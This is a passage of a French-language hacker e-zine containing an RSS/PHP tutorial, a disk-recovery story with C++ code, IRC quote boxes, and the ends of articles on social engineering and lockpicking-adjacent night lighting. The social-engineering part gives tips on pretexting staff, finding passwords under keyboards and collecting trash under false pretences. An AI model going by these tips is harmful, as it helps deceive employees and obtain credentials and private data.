viennent avec le choix que vous avez fait (remarquez  dailleur  que la plus par 
dentre nous travaille au chaud dans des bureaux, non  mais  quel  courage).  De 
plus aider par le systme anarchique qu'est le libre capitalisme la  plus   par 
des gens se retrouve dans un  emplois  "pour  payer  le  loyer"  dans  lesquels 
souvent ils nont peu  tre  pas  l'impression d'tre totalement justifier (bien 
sur ils font  de  leur  mieux). Donc  videment ils auront souvent plus peur de 
leur patron que de vous. C'est un avantage stratgique a ne pas manquer. non ce 
n'est pas tout le monde qui a peur de sont  patron  et  qui  n'est pas dans les 
bon pantalons, mais ca c'est a vous de faire la diffrence. avec  les  systmes  
tlphonique  avec  plusieurs  tlphonistes, une certaine forme de brute force  
peu tre appliquer, mais essayer de rester discret. De  plus  ceux  qui  auront  
compris que jsuis en train  d'expliquer  qui  faut appeler  des  employs  pour   
les  menacer,  vous  tes totalement dans le champ, ce que je dit plutt, c que 
quand  vous  allez  a la banque ou peu importe, votre isp, essayer de voir avec 
qui vous  russissez  a  tirez  le  plus  d'information   en restant "banal" et 
sympathique. tse la bonne vielle mthode de l'homme qui a vue l'homme qui a  vu  
l'ours.  (j'ai toujours entendu dire qu'on foutais des chats mort dans vos sous  
sol,  est-ce vrai ?). 



Un  autre  phnomne notoire et utilisable est que, pour survivre l'tre humain 
c'est toujours tenu en groupe, l'union fait la force, surtout quand on a pas de 
pepine. Donc  chaque tre  humain  d'une  communaut  a  tendance a adapter une 
faon d'tre commune. Donc plus vous ragirai  a  une personne de la mme faon 
quelle le ferais, et ce mme physiquement (ou mme surtout  physiquement), plus 
vous  allez  lui  tes favorable, car vous aurez t peru comme membre  de  sa 
tribut. Avec  la  tribut  sont ne  les relations d'change, je fais si tu fais 
a,  le  troc,  base  du commerce et ou de la corruption, peu importe le nom a 
revient  a  je te done ou fait x  pour  toi  et  tu  me  donne ou me fais y. Le 
but tant  videment  toujours d'en donner le moins possible  pour  en avoir le 
plus possible  (non pas davoir le plus cheap possible par contre).


Ou est-ce que a mene tout a concrtement ? et bien c'est dure a dire, parfois 
a peu tre  5  minute de solitude et un "bon" caf (le temps de faire le caf) 
que l'on peu utiliser pour lire  quelque papier, regarder en dessous du clavier 
(smile your on video). Ou bien de carrment  se  faire  dire,  "maudit  mots de 
passe, moi jles crits toute en dessous de mon clavier hihihi!".  D'autre  vont 
rcuprer des quilles, ou rserver des alles au nom de Derekt Humcrew. Ou bien 
munissez vous d'un pad de papier, d'un stylos, et allez vous promener en disant 
que vous  faite l'inventaire  pour inter-san, avec une belle list d'adresse (au 
cas ou), et vous allez tre surpris de  voir  jusque  ou  les  gens  vont  vous 
confier leurs vidanges ;]. (dailleur si  vous  avez  un  squelette  dans  votre 
placard, d'aprs moi ya pas mal de poubelle perdu au nord de val belair...)



                                                  naration Wyzeman
                                                  figurant __2
                                                           Init_null
                                                           Wyzeman

 

.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit accueillant et stimulant     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I| (beaucoup (trop) d'explication plus tard...)                          '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<sah> attedn j'ouvre putty                                             ]=--[~~]----|
|      [<sah> etd is moi ce que je fais                                        ]    \/     | 
       [<Syncros> :ARF                                                         ]           | 
|      [<Syncros> :tu viens de me couter aumoins 10$ de weed                   ] will 
|      [<Syncros> :va faloir que j'me l'injecte par intraveineuse              ] cybernetic              
|      [<sah> je fais quoi mainte,nn,at                                        ] rats teach|  
       [<sah> il me demande l'ip ouhost                                        ] our cats ?|
       [<Syncros> :miaw miaw miaw miaw                                         ]           |  
|      [<Syncros> :miaw miaw miaw miaw                                         ]              
|-[~]-=[<Syncros> :miaw miaw miaw miaw miaw miaw miaw miaw                     ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 
                                   





.---+-=[ Implantons RSS dans votre site      ]=------+---------------------------=[11]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Nothing94 ]=-|
| //                                                                                       |
| L\:-=[Ak : Le syndicat du web est rendu  votre porte ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               

+-----------+-------------------------------+
| Mots cls | Quoi, Pourquoi, Pour qui      |
+-----------+-------------------------------+

Premirement,  RSS  est  pour  "Really Simple Syndication". Deuximement, c'est 
rien   de  compliqu.  Ce  nouveau  standard  sert  uniquement  aux  dpendants 
d'internet. C'est un peu  le  principe  d'Illico  de  Videotron  o  l'on  peut 
regarder les films que l'on veut lorsque l'on dsire, et ce, dans le confort de 
la maison. Donc, par analogie, l'usager peut  lire  les  nouvelles de 400 sites 
web - dont le vtre - via un seul et  unique  programme  ou  client  email  qui 
supporte les newsfeeds. Ceci lui  permet  alors  d'viter  le long processus de 
taper les adresses des sites  web  dans  son  browser, de scroller  travers la 
publicit pour lire les headlines et de gosser ici et l. Il a accs  tous les 
headlines  un seul endroit, et dans bien des cas, il a l'article intgral sans 
avoir  cliquer sur un url qui se rend au site. C'est ce que j'appelle avoir de 
l'information  de  manire  condense  pour  bien  cohabiter  avec  un monde de 
surconsommation. Toutefois, les newsfeeds ont certains dsavantages  au  niveau 
de  l'exprience  du  navigateur.  C'est--dire que lorsque vous  regardez  des 
newsfeeds, c'est comme si vous lisiez des emails. Tout est fade, sans couleurs, 
sans attraits, sans contenu superflu ou additionnel. Vous tes encadrs par  le 
contenu strictement. Bien sr le  contenu  peut  tre en format html, mais cela 
reste un contenu qui ne change pas de format  la base. Nous nous rendons alors 
compte si ce  n'est  dj  fait, que cette technologie sert uniquement pour les 
sites  de  nouvelles  ou  les  blogs  o  chaque information peut se sparer en 
morceau indpendamment du reste du site.

+-----------+-------------------------------+
| Mots cls | Comment                       |
+-----------+-------------------------------+

Comme je disais prcdemment c'est trs simple. Tout ce qu'il vous  faut, c'est 
un fichier xml contenant les dernires nouvelles de votre  site.  Nous  verrons 
ici le format RSS 2.0. Si vous voulez utiliser des  versions  antrieures comme 
0.91 ou 0.92, c'est votre problme. Si  vous  voulez  utiliser RDF, c'est votre 
problme. Notez que je n'ai pas  dcel  d'utilit  utiliser le format RDF qui 
est plus complexe mais  qui  n'offre  pas  grand  chose de plus  la fin. Aprs 
tout, le but premier est d'informer rapidement, et non de rinventer le web.

+-----------+-------------------------------+
| Mots cls | Exemple RSS                   |
+-----------+-------------------------------+

<?xml version="1.0" encoding="ISO-8859-1" standalone="yes" ?>
<rss version="2.0">
  <channel>
    <title>hall of nothingness</title>
    <link>http://nothing94.250x.com</link>
    <description>Project what you want to be, anyway you are nothing</description>
    <language>fr-ca</language>
    <webMaster>dieforyoursins@hotmail.com</webMaster>
    <pubDate>Sat, 21 Aug 2004 15:21:38 EST</pubDate>
    <ttl>1440</ttl>
    <item>
      <title>Updates internes</title>
      <link>http://nothing94.250x.com/news1.html#Updates_internes</link>
      <description>&lt;p&gt;Hourra, des updates majeures ont t faites dans le code. En rsum, plus d&apos;orient objets dans les scripts php, le xhtml est dans des templates Smarty, et il y a maintenant un RSS feed.&lt;/p&gt;</description>
      <pubDate>Sat, 21 Aug 2004 00:00:00 EST</pubDate>
    </item>
    <item>
      <title>Nouvelle image : Looking Glass</title>
      <link>http://nothing94.250x.com/news1.html#Nouvelle_image_:_Looking_Glass</link>
      <description>Dans la section Pictures/Artworks.</description>
      <pubDate>Tue, 27 Jan 2004 00:00:00 EST</pubDate>
    </item>
  </channel>
</rss>

Nous voyons  la  dfinition  du xml, la dfinition du document rss, le channel, 
puis la dfinition du site web, pour finalement lister le contenu.

+-----------+-------------------------------+
| Mots cls | Spcification RSS             |
+-----------+-------------------------------+

1 - Mettre l'lment <?xml ... ?>
2 - Mettre l'lment <rss version="2.0">
3 - Mettre l'lment <channel>
4 - Mettre les infos du site sous l'lment <channel>

  +------------------------------------------------------------------+
  | lments obligatoires                                            |
  +----------------+-------------------------------------------------+
  | title          | Titre de votre site                             |
  | link           | Url vers votre site                             |
  | description    | Description de votre site                       |
  +----------------+-------------------------------------------------+
  | lments optionnels                                              |
  +----------------+-------------------------------------------------+
  | language       |                                                 |
  | copyright      | Puisque vous savez ou                           |
  | managingEditor | devriez tous savoir lire                        |
  | webMaster      | l'anglais, et que la                            |
  | pubDate        | traduction de ces lments                      |
  | lastBuildDate  | demanderait beaucoup de                         |
  | category       | temps de ma part. Je vous                       |
  | generator      | invite  lire le site                           |
  | docs           | http://blogs.law.harvard.edu/tech/rss           |
  | cloud          | qui contient toutes les                         |
  | ttl            | dfinitions ncessaires                         |
  | image          | et spcifications                               |
  | rating         | pour utiliser ces lments                      |
  | textInput      | efficacement. Merci de                          |
  | skipHours      | votre comprhension.                            |
  | skipDays       |                                                 |
  +----------------+-------------------------------------------------+

5 - Mettre les dernires nouvelles de votre site sous l'lment <channel>

  5.1 - Pour chaque nouvelle, mettez un lment <item>
  5.2 - Mettez les infos de la nouvelle sous l'lment <item>

  +------------------------------------------------------------------+
  | lments obligatoires                                            |
  +----------------+-------------------------------------------------+
  | title          | Titre de votre nouvelle                         |
  | link           | Url vers votre nouvelle                         |
  | description    | Description de votre nouvelle ou texte intgral |
  +----------------+-------------------------------------------------+
  | lments optionnels                                              |
  +----------------+-------------------------------------------------+
  | author         | Puisque vous savez ou devriez tous savoir lire  |
  | category       | l'anglais, et que la traduction de ces lments |
  | comments       | demanderait beaucoup de temps de ma part. Je    |
  | enclosure      | vous invite  lire le site                      |
  | guid           | http://blogs.law.harvard.edu/tech/rss           |
  | pubDate        | qui contient toutes les dfinitions ncessaires |
  | source         | et spcifications pour utiliser ces lments.   |
  +----------------+-------------------------------------------------+

+-----------+-------------------------------+
| Mots cls | Cration du newsfeed avec PHP |
+-----------+-------------------------------+

J'ai  dcid  ici  de rendre entirement indpendant le module qui construit la
dfinition RSS. Le code  suivant  peut  donc  tre  utilis  directement  comme 
source. C'est--dire que nous n'avons pas   gnrer  de  fichier  xml  puisque 
cette page php va construire au runtime un  fichier  up-to-date. Notez que vous 
n'avez besoin que des dernires  nouvelles du site considrant que ce n'est pas 
de l'archivage que vous faites.  Notez galement que les aggregators (Programme 
pour lire les  news feed) conservent  l'interne les vieilles nouvelles si vous 
le dsirez.

  +------------------------------------------------------------------+
  | Fichier ./rss/index.php                                          |
  | Objet : Gnre le fichier xml et l'imprime au STDOUT             |
  +------------------------------------------------------------------+
<?php

  require_once('../include/vars.inc');
  require_once('../include/Database.php');
  require_once('../include/Utils.php');
  require_once('../include/XmlWriter.php');

  # CONNECT TO THE DATABASE *************************
  $db = new Database;
  $db->login('../include/login.ini',DB_NAME)
  or die("Connection failed: " . mysql_error());

  # GET LATEST NEWS *********************************
  $query = "SELECT date,time,topic,text FROM news WHERE page='1' ORDER BY date DESC,time DESC";
  $query_result = mysql_query($query) or die("Query failed: " . mysql_error());

  # CREATE RSS **************************************
  $xml = new XmlWriter('ISO-8859-1');

  $xml->push('rss', array('version' => '2.0'));
  $xml->push('channel');
  $xml->element('title','hall of nothingness');
  $xml->element('link','http://nothing94.250x.com');
  $xml->element('description','Project what you want to be, anyway you are nothing');
  $xml->element('language','fr-ca');
  $xml->element('webMaster','dieforyoursins@hotmail.com');
  $xml->element('pubDate',Utils::getDateRFC822(time()));
  $xml->element('ttl','1440');
  # Process each news
  while ($row = mysql_fetch_assoc($query_result)) {
    $xml->push('item');
    $xml->element('title',$row['topic']);
    $xml->element('link','http://nothing94.250x.com/news1.html#'.
                         htmlentities(str_replace(' ','_',$row['topic'])));
    $xml->element('description',$row['text']); # Note : My text contains html
    $xml->element('pubDate',Utils::getDateRFC822(strtotime($row['date'])));
    $xml->pop(); # item
  }
  $xml->pop(); # channel
  $xml->pop(); # rss

  print $xml->getXml();

?>
  +------------------------------------------------------------------+
  | EOF                                                              |
  +------------------------------------------------------------------+
  +------------------------------------------------------------------+
  | Fichier ./include/XmlWriter.php                                  |
  | Objet : Module cheapo pour crer un fichier xml                  |
  +------------------------------------------------------------------+
<?php

# Modified by nothing94
# Simon Willison, 16th April 2003
# Based on Lars Marius Garshol's Python XMLWriter class
# See http://www.xml.com/pub/a/2003/04/09/py-xml.html

class XmlWriter {
  var $xml;
  var $indent;
  var $stack = array();
  function XmlWriter($encoding = 'utf-8', $indent = '  ') {
    $this->indent = $indent;
    $this->xml = "<?xml version=\"1.0\" encoding=\"$encoding\"?>\n";
  }
  function _indent() {
    for ($i = 0, $j = count($this->stack); $i < $j; $i++) {
      $this->xml .= $this->indent;
    }
  }
  function push($element, $attributes = array()) {
    $this->_indent();
    $this->xml .= '<'.$element;
    foreach ($attributes as $key => $value) {
      $this->xml .= ' '.$key.'="'.$this->_xmlentities($value).'"';
    }
    $this->xml .= ">\n";
    $this->stack[] = $element;
  }
  function element($element, $content, $attributes = array()) {
    $this->_indent();
    $this->xml .= '<'.$element;
    foreach ($attributes as $key => $value) {
      $this->xml .= ' '.$key.'="'.$this->_xmlentities($value).'"';
    }
    $this->xml .= '>'.$this->_xmlentities($content).'</'.$element.'>'."\n";
  }
  function emptyelement($element, $attributes = array()) {
    $this->_indent();
    $this->xml .= '<'.$element;
    foreach ($attributes as $key => $value) {
      $this->xml .= ' '.$key.'="'.$this->_xmlentities($value).'"';
    }
    $this->xml .= " />\n";
  }
  function pop() {
    $element = array_pop($this->stack);
    $this->_indent();
    $this->xml .= "</$element>\n";
  }
  function getXml() {
    return $this->xml;
  }
  function _xmlentities($element) {
    $patterns     = array("/&/"  ,"/</" ,"/>/" ,"/\"/"  ,"/'/");
    $replacements = array('&amp;','&lt;','&gt;','&quot;','&apos;');
    return preg_replace($patterns, $replacements, $element);
  }
}

?>
  +------------------------------------------------------------------+
  | EOF                                                              |
  +------------------------------------------------------------------+

En  rsum, le fichier index.php se connecte  la base de donnes,  va chercher 
les dernires nouvelles et puis gnre un fichier xml qui  s'imprime au STDOUT. 
Il est  noter  que  si  votre  site  a  beaucoup  de  visiteurs,  il  est  peu  
recommand  de  laisser cette page accessible.  Il  vous  est  donc  recommand 
d'utiliser cette page  l'interne  uniquement  en  crant  tous les X temps un 
nouveau fichier xml  up-to-date.  Donc,  pour gnrer le fichier, vous pouvez y 
aller en console avec quelque chose comme : 

% php -f index.php > index.xml

Vous pourrez accder  votre newsfeed avec le url
http://nothing94.250x.com/rss/index.xml
si vous ne rendez pas public index.php, autrement ce sera
http://nothing94.250x.com/rss/index.php

+-----------+-------------------------------+
| Mots cls | Flafla visuel                 |
+-----------+-------------------------------+

Il  ne  vous  reste  plus  qu' mettre sur votre site un beau lien  vers  votre 
fichier xml avec une belle image RSS ou XML ou bien un  beau  caption "RSS news 
feed". Si vous tes plus hardcore vous pouvez  toujours  mettre  comme  caption 
"Don't click here".

+-----------+-------------------------------+
| Mots cls | Utilisation de RSS            |
+-----------+-------------------------------+

Pour lire les news feed, il va de soi que vous avez besoins de  programmes  qui 
le supporte.

Voici des "aggregators" pouvant lire RSS 2.0
  Aggie (.NET)
  AmphetaDesk (Windows, Macintosh, Linux)
  BlogLines (Server-based)
  BottomFeeder (Windows, Macintosh, Unix)
  EffNews RSS Reader (Windows)
  FeedDemon (Windows)
  FeedReader (Windows)
  NetNewsWire (Macintosh)
  NewsDesk (.NET)
  NewsGator (.NET)
  NewsIsFree (Server-based)
  NewsMonster (Mozilla)
  NewzCrawler (Windows)
  nntp//rss (Java)
  PocketFeed (PocketPC)
  PopHeadlines (.NET)
  Python Desktop Server (Python)
  Radio UserLand (Windows, Macintosh)
  RSS Bandit (.NET)
  RSS NewsWatcher (Windows)
  Sharp Reader (.NET)
  Shrook (Macintosh)
  SlashDock (Macintosh)
  Straw (GNOME)
  Syndirella (.NET)
  VOX Lite (Windows)
  ZO (Macintosh)
  Enclosure-aware aggregators

Ici,  j'ai  test avec le news feed intgr dans le email client de Opera ainsi 
que Sharp Reader. 

+-----------+-------------------------------+
| Mots cls | Gourmandise                   |
+-----------+-------------------------------+

Pour  ceux  qui  veulent  en  savoir  plus, allez fouillez sur le web pour  des 
valideurs de RSS, ou pour n'importe quoi d'autre. RSS est  simple  et efficace, 
et personne ne prvoit modifier de beaucoup le format 2.0  outre  peut-tre des 
changements mineurs.

+-----------+-------------------------------+
| Mots cls | Lchet                       |
+-----------+-------------------------------+

Si  vous  tes  lche  ou bien que vos doigts sont trop gros pour taper sur un 
clavier et ainsi programmer ce dont vous avez besoin, sachez qu'il  existe des 
outils pour gnrer votre/vos fichier(s) RSS.

  Blogger (Mark Gardner)
  JournUrl (Roger Benningfield)
  Manila (UserLand)
  Movable Type (Mark Pilgrim)
  Nucleus CMS (Wouter Demuynck)
  Radio UserLand (UserLand)

Je ne  les  ai  pas  essays  et je vous laisse risquer votre vie inutilement. 
C'est si simple que a ne vaut mme pas le dplacement.

+-----------+-------------------------------+
| Mots cls | Signature                     |
+-----------+-------------------------------+

Truly yours, nothing94


                                   
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, c'est aussi....binf                     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<binf> ca reste que un channel qui pipe des news de slashdot et        ]=--[~~]----|
|      [securityfaux cul                                                       ]    \/     | 
       [<binf> que ya des branleux qui front le talk shit et qui appuient pas  ]           | 
|      [--------------------------Warp Zone----------------------------        ] Extreme 
|      [<binf> jvois juste pas le but de tenter d'avoir un empire de rien      ] coder               
|      [--------------------------Warp Zone----------------------------        ] don't use |  
       [<binf> ce toute des caves                                              ] backup    | 
       [<binf> spa compliquer                                                  ]           |  
|      [<binf> des pogne cul                                                   ]               
|-[~]-=[                                                                       ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 



.---+-=[ A tale of interests                 ]=------+---------------------------=[12]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[__2       ]=-|
| //                                                                                       |
| L\:-=[Ak : Kaboum le HD, na pu                        ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               

       Cet  article  ne   discute  pas  rellement d'une technique particulire 
mais plutt d'un exemple  concret qui dmontre comment cela peut tre  plaisant 
de perdre tout le contenu d'un disque dur.

La dernire fois que l'un de mes disques a passer l'me,  c'tait  un  vieux 40 
megabytes en 1992. Donc, comme  vous  pouvez  le  constater,  je  suis pas trs 
familier  avec  ce genre d'exprience. N'empche, il  y a 1  semaine, le disque 
de 120gig sur laquelle  reposait mon  router, mon  CVS  de projets commerciaux, 
mes  documents, ma pr0n, mes warez et ma vie (on va dire) s'est  mis  a grincer  
des dents. Les  partitions  (Linux EXT3)  du  disque  sont soudainement devenus 
illisibles. 

Quel  fcheux  contretemps,  un  jour  de  semaine  avec  du  travail  a  finir 
rapidement. J'avais deja dcider de faire mon deuil de mon porn, mes  warez  et 
des trucs que j'avais pas vraiment besoin. Mes projets commerciaux avaient, par
miracle t copier 1 journe avant sur un CD (Aleluya).

Il restait tout de mme un petit hic, il  me    manquait quelques fichiers trs   
importants (que j'avais pris le  soin de zipper la veille). Vu l'importance  de 
retrouver ce fichier a caractre vitale (mes tats de  compte et autres papiers 
important pour que le gouvernement puisse investir dans de  la  commandite), je 
me    suis  mis a  rflchir a des faons de russir a  retrouver    mon  petit 
fichier zip perdu. C'est  a  ce  moment  la que la qute commence :)

Choses a savoir:

La partition  qui ne monte plus tait la /dev/hdc2 elle contenait une partition 
EXT3 dont approximativement les  10  premiers  megabytes  taient  fichus ainsi 
qu'a plusieurs autre endroits si on se fit au son fatiguant.


Qu'est-ce que j'ai fait:

J'ai tout  d'abord   utiliser  hexedit   pour   ouvrir   la  partition (hexedit 
/dev/hdc2) et j'ai chercher pour  le  pattern 'facture_1112.xls'. Je savais que 
ce  fichier  se  trouvait  dans mon fichier ZIP, et les noms de fichier ne sont 
jamais   compresser  dans  un  fichier ZIP, seulement leur contenu (merci ZIP). 
Alors si  tout  va bien, je devrais tre capable de retrouver ce pattern, sinon  
je peux rellement dire adieux a mon prcieux fichier.

BINGO, je  retrouve  le  pattern vers  la moitiez  de  la  partition. Prochaine 
tape, extraire le ZIP et vrifier si il est encore valide.  Cette  partie  est  
plus difficile mais voici grossomodo mon approche:

J'ai premirement,ete  me perdre dans le code source de zlib, pour   finalement  
acclrer  mes  dmarches  en consultant le trs  utile www.wotsit.org, un site 
que je consulte depuis quelques annes et   qui   contient  la spcification de 
plusieurs formats de fichier.

Voici ce qui en a ressorti d'important:

 -> local file header signature 4 bytes  (0x04034b50)
 -> end of central dir signature 4 bytes  (0x06054b50)

Le premier   pattern (0x04034b50)  va   me permettre de trouver le dbut de mon    
fichier,   et   le 2ieme (0x06054b50) sa fin.

Alors, tout joyeux j'ai commencer a concevoir un petit code pour  extraire tout 
les zip que je trouverais sur le disque en question:


------------------last_hope.cpp------------------------

// Ce define a ete tricky  a  trouver, c'est  ce  qui  me
// permet d'utiliser de  l'adressage 64bits a l'intrieur
// des fichiers. Sans cela je serais limiter a la lecture
// de fichier de 4 Gigs.

// Linux supporte le 64bits, mais par dfaut il fallback 
// en 32, on doit alors spcifier ce macro au dbut   de 
// notre code. Je trouve que ca ressemble a un ugly hack
// pour un os, mais bon, tant que ca fonctionne bien.

#define _FILE_OFFSET_BITS 64

#include <iostream>
#include <time.h>
#include <stdio.h>

#define FAULTY_DEVICE "/dev/hdc2"		// la partition sur le evil HD
#define ZIP_START "\x50\x4b\x03\x04"            // le pattern de depart
#define ZIP_END "\x50\x4b\x05\x06"              // le pattern de fin



/*------------------------------------------------------*/
// Le bon vieux main , rien a en redier
/*------------------------------------------------------*/
int main(int argc,char* argv[])
{
	// ici je verifie si le systeme est bel et bien capable de supporter le mode 64bits
	// dans le cas d'un systeme 32bits, le sizeof retourne 12 au lieu de 16. Cr le off_t
	// pese 4bits au lieu de 8.

	if (sizeof(fpos_t) != 16) {
		std::cout << "This system dont support 64bits file io" << std::endl;
		return 0;
	}

	// Variables 'wedontcare' globales
	char sign[4];
	int count = 0;
	int size = 0;
	bool inside_zip = false;
	fpos_t off_start;
	fpos_t off_end;
	fpos_t off_now;

	char tempfile[255];

	FILE* fd = fopen(FAULTY_DEVICE,"rb");  // On ouvre la partition en lecture/binaire
	
	// on devine facilement ce que cela fait :)
	if (fd == NULL) {
		std::cout << "Unable to open faulty device." << std::endl;
		return -1;
	}
	

	// Ici on lis la partition du debut vers la fin
	while (!feof(fd))
	{
		count++;

		// on decale le pattern que l'on cherche a chaque lecture car le HD n'utilise
		// pas des blocs fixes de 4 bytes par exemple.

		sign[0] = sign[1];
		sign[1] = sign[2];
		sign[2] = sign[3];
		sign[3] = fgetc(fd);
		
	
		// Si on trouve un pattern, on le note 
		if (strncmp(sign,ZIP_START,4)==0) {

			std::cout << "ZIP START here. OFFSET: " << ftell(fd)  << std::endl;
			if (inside_zip == true) {
				std::cout << "WARNING: ZIP ALREADY STARTED. [SKIP]" << std::endl;
				}
				else {
				fgetpos(fd,&off_start);
				off_start.__pos -= 4;	
				}

			inside_zip = true;
		}
		

		// si on trouve le pattern de fin , on le note et on lis le fichier 

		if (strncmp(sign,ZIP_END,4)==0) {
			std::cout << "ZIP END here. OFFSET: " << ftell(fd) << std::endl;
			if (inside_zip == false) std::cout << "WARNING: ZIP NOT STARTED" << std::endl;
			inside_zip = false;
		
			fgetpos(fd,&off_end);
			
			sprintf(tempfile,"%d.zip",time(NULL));
			std::cout << "WRITING TO: " << tempfile << std::endl;
			std::cout << "START:" << off_start.__pos << 
			std::endl;
			std::cout << "END:" << off_end.__pos << std::endl;
			std::cout << "FILESIZE  : " << (off_end.__pos - off_start.__pos) << std::endl;
			
			fgetpos(fd,&off_now);

			off_end.__pos += 18;

			fsetpos(fd,&off_start);

			// ICI on discarde les fichiers plus gros que 400 megabytes, pour 2 raisons,
			// la premiere etant que mon fichier doit peser maximum 50 kilobytes et secondo
			// ca empeche de faire un malloc() de 4 gig quand il tombe sur des blocks non-ordonnee
			// (voir la fin de l'article pour ample explications)

			if (((off_end.__pos - off_start.__pos) > 400000) || ((off_end.__pos - off_start.__pos) < 0))
			std::cout << "TOO BIG TO BE REAL" << std::endl;
			else
			{ 
			
				// C'est cheap, cest pas fiable, mais ca fonctionne alors SHUT
				// La premiere version de ce code avait pas de check (plus haut), alors
				// si je pognais un faux-positif de 2 GIG, mon PC swappait until death.

				char* data = (char*) malloc(off_end.__pos - off_start.__pos);
				if (data == NULL) {
					std::cout << "NOT ENOUGH MEMORY, WHERE IS THE SWAP WHEN YOU NEED IT!" << std::endl;
					return -1;
				}
	
				fread(data,off_end.__pos-off_start.__pos,1,fd);

				FILE* out = fopen(tempfile,"wb");
				fwrite(data,off_end.__pos-off_start.__pos,1,out);
				fclose(out);			
				free(data);
			}

			fseek(fd,off_now,SEEK_SET);
			fsetpos(fd,&off_now);

		}
		
		// Cela empeche de creer l'effet classique "Coudonc le process es-tu geler?"
		if (count % 32768000 ==0) {
			size += 128;
			std::cout << size << " megabytes read. " << std::endl;
		}

	}

	// on ferme le FS
	fclose(fd);
}

-EOF---------------last_hope.cpp-----------------EOF---

Une  fois  compiler,  l'excution  s'est bien drouler   et j'ai  pus  extraire  
quelque centaines de fichiers ZIP,  cela  a  pris  au moins 1 heure et j'ai pus 
retrouver mon prcieux fichier!

Il y a tout  de   mme  quelques   problmes qui m'ont amener a changer le code 
si-dessus  legerement   mais   je  ne  tient pas a rentre mon code encore moins 
lisible   en  ajoutant  les  "hacks"  qui  ont  ete apporter ici et la. (IE: Le 
handling des parties dfectueuses)

Le plus gros problme que j'ai eu a rencontrer porte le  nom de defragmentation 
:) Certains blocs n'taient  pas dans l'ordre d'criture mais  pele-mle, alors    
c'est bien entendu que  je ne pouvais  pas  lire ce genre de fichier (C'est  ce  
qui  cause  des  faux-positifs de 2  gigs). Pour ma chance, le fichier que   je  
recherchait remplissait 2 conditions, tre tout petit(~50k) et ne pas se trouve  
enfermer  dans   un   bloc de data faux-positif. La prochaine fois qu'un disque  
saute, la nouveau version de mon code pourra scanner  plusieurs fois la surface 
en liminant les faux positifs  pour ne pas perdre du prcieux contenu dure 
d'accs.

Cela  termine  ma  "qute",  j'ai  trouver  l'ide  de   vous   en  faire  part 
intressante, comme quoi que    tout  est possible quand on est dsesprerez et 
qu'on  roule sous Linux :) (Ok, savoir coder depuis une dcennie a aide)

La prochaine fois j'vais vous raconter  comment  j'ai  installer  Fedora Core 3 
avec 4  CD  scraps  en  ptracant  anaconda via GDB pour crer un race condition 
entre  moi pis le OS pour avoir accs au mount point du CD. :)

						                                                                __2

                                 
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un milieu riche en information         \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<bogosse> plz je veux savoir coment controler un cp                    ]=--[~~]----|
|      [<Arsenick> bogosse cp -R pour un directory                             ]    \/     | 
       [<Arsenick> c toute                                                     ]           | 
|      [<MADGiK> Arsenick                                                      ] Your   
|      [<MADGiK> cp = computer                                                 ] computer              
|      [<MADGiK> :P                                                            ] love lazy |  
       [<Arsenick> non ?                                                       ] friend    | 
       [<MADGiK> genre                                                         ]           |  
|      [<Arsenick> srieux ?                                                   ]               
|-[~]-=[<MADGiK> ouais                                                         ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 



.---+-=[ When leds lead to lockpicking       ]=------+---------------------------=[13]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Qwzykx    ]=-|
| //                                                                                       |
| L\:-=[Ak : Un cossin attend pas l'autre               ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               


Se promener dans la sombre pnombre est souvent problmatique,  malheureusement
contrairement  aux  chats  l'oeil  humain  est  de beaucoup moins sensible  la 
lumire, surtout celle  qu'il  y  a  quand  il  n'y en a pas ;) L'tre humain a 
invent plusieurs faon de s'clairer depuis l'aube tu temps  ou il y a penser, 
c'est peut-tre pour sa d'ailleurs que l'volution ne nous  a  pas  donner  des 
yeux de chats.. peu importe,  dans  ce  petit article de divertissement je vous 
propose de mettre de la lumire dans vos projets nocturne, le tout dans un truc 
qui est plus portatif et discret  qu'un feu de foyer :P  

J'me  promenait  dans  le  noir,  un  de ces soir d't, quand je me suis rendu 
compte que c'tait pas l'idal, d'un  point de vue pratique du moins, mais d'un 
autre  cote  tant  quelqu'un  de timide de nature, j'aimais pas pour autant le 
feeling de me  promener  dans les bois avec une flash light super voyante.. car 
bien que l'homme  ait  pas des yeux potent biologiquement parlant, on peut dire 
qu'il distingue bien  une  lueur  dans  un  noir  complet..  s'en  est  presque 
philosophiquement une conception  de  'intelligence... enfin, toujours s est-il 
que  pour mon  go,   j'ai prfr de tenter d'tre plus intelligent que ce mr. 
n'importe qui qui pourrait , par hasard, regarder  dehors  ce qui se passe dans 
le fond de son petit bois. pour se faire j'ai immdiatement  discarder  l'ide 
de prendre une classique mag-lite, de  mme  qu'une  lumire  frontale.  Il  me 
fallait  un  truc  plus  discret..  mais aussi pratique, voyez, j'avais en tte 
d'utiliser mes dix doigts lors de mon escapade nocturne, comme si finalement je 
serais un vrai humain se promenant en toute sa  libert,  explorant candidement 
les  bois  en  observant  grce  sa lumire tamiser, et de ses mains la nature 
